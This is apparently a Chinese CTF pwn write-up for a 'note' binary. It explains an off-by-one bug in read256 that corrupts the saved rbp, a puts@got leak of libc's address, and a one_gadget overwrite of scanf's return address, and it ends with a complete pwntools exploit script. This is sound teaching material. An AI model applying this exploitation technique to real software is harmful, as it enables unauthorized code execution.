相关资源
文件分析
1 2 3 4 5 6
| $ checksec note Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000)
|
代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { char *v3; int option; const char *v5; char *file_content;
setup(); v5 = "%d"; open_file(); file_content = read_file(); menu(); while (1) { printf("> "); if ((int)_isoc99_scanf(v5, &option) <= 0) break; switch (option) { case 1: printf("Note:"); file_content = read256(); break; case 2: printf("Note:%s\n", file_content); break; case 3: save_file(file_content); puts("Saved!"); break; case 4: fclose(stream); v3 = md5(ID); unlink(v3); open_file(); puts("Done!"); break; case 5: if (stream) fclose(stream); exit(0); default: puts("Invalid choice"); break; } } exit(0); }
|
其中19#read256
这里存在off_by_one 会在256个字符后写入一个0x00字节 也就是 old_rbp 的末尾
1 2 3 4 5
| char *read256() { char s[256]; _isoc99_scanf("%256s", s); return strdup(s); }
|
攻击方法
先填充0x100字节查看
1 2 3 4 5 6
| 0x007ffffb03c748│+0x0000: "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh[...]" ← $rsp [...] 0x007ffffb03c838│+0x00f0: "hhhhhhhhhhhhhhhh" 0x007ffffb03c840│+0x00f8: "hhhhhhhh" 0x007ffffb03c848│+0x0100: 0x007ffffb03c800 0x007ffffb03c850│+0x0108: 0x00000000400ef8 → mov QWORD PTR [rbp-0x8], rax
|
可以看到从748写到848,old_rbp被改写成800 也就是返回到main函数时,rbp为800,那么因为参数是基于rbp-0x??
来获取的 因此我们在填充字节的时候可以按照偏移给main函数中的变量赋值
1 2 3
| int option; const char *v5; char *file_content;
|
v5
原值为%d
指针,我们可以改成%256s
指针,读取option时在当前栈上写入内容
file_content
可以改为puts@got
选项2时即可输出puts真实地址从而获取libc基地址
也就是748-7f0:b'h' 7f0-7f8:ptr_to_%256s 7f8-800:puts@got
那么下一次输入选项时 可以发送 int(2) + ptr_to_%256s + puts@got
来选择输出选项并保持栈上变量内容
得到libc基址后计算one_gadget
在下一次输入选项时 覆盖__isoc99_scanf
的ret addr 为one_gadget (调试得到该ret addr与option地址偏移为0x64)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='i386', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
proc = process("./note") belf = ELF("./note") libc = ELF("./libc.so.6")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
def edt(con): sla(b'>', b'1') sa(b'Note', con) gscript = ''' b * 0x0000000000400DB6 b * 0x0000000000400F01 b * 0x0000000000400EF3 ''' + 'c\n' * 0 if mode == '-d': gdb.attach(proc, gdbscript=gscript)
a256s = 0x401129 gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
sla(b'ID:', b'1') edt((b'h' * 0xa8 + p64(a256s) + p64(belf.got['puts'])).ljust(0x100, b'h')) sla(b'>', p32(2) + p64(a256s) + p64(belf.got['puts'])) libc_base = ga() - libc.sym['puts'] ls(hex(libc_base))
sla(b'>', b'h' * 0x64 + p64(libc_base + gadgets[1]))
pi() pause()
|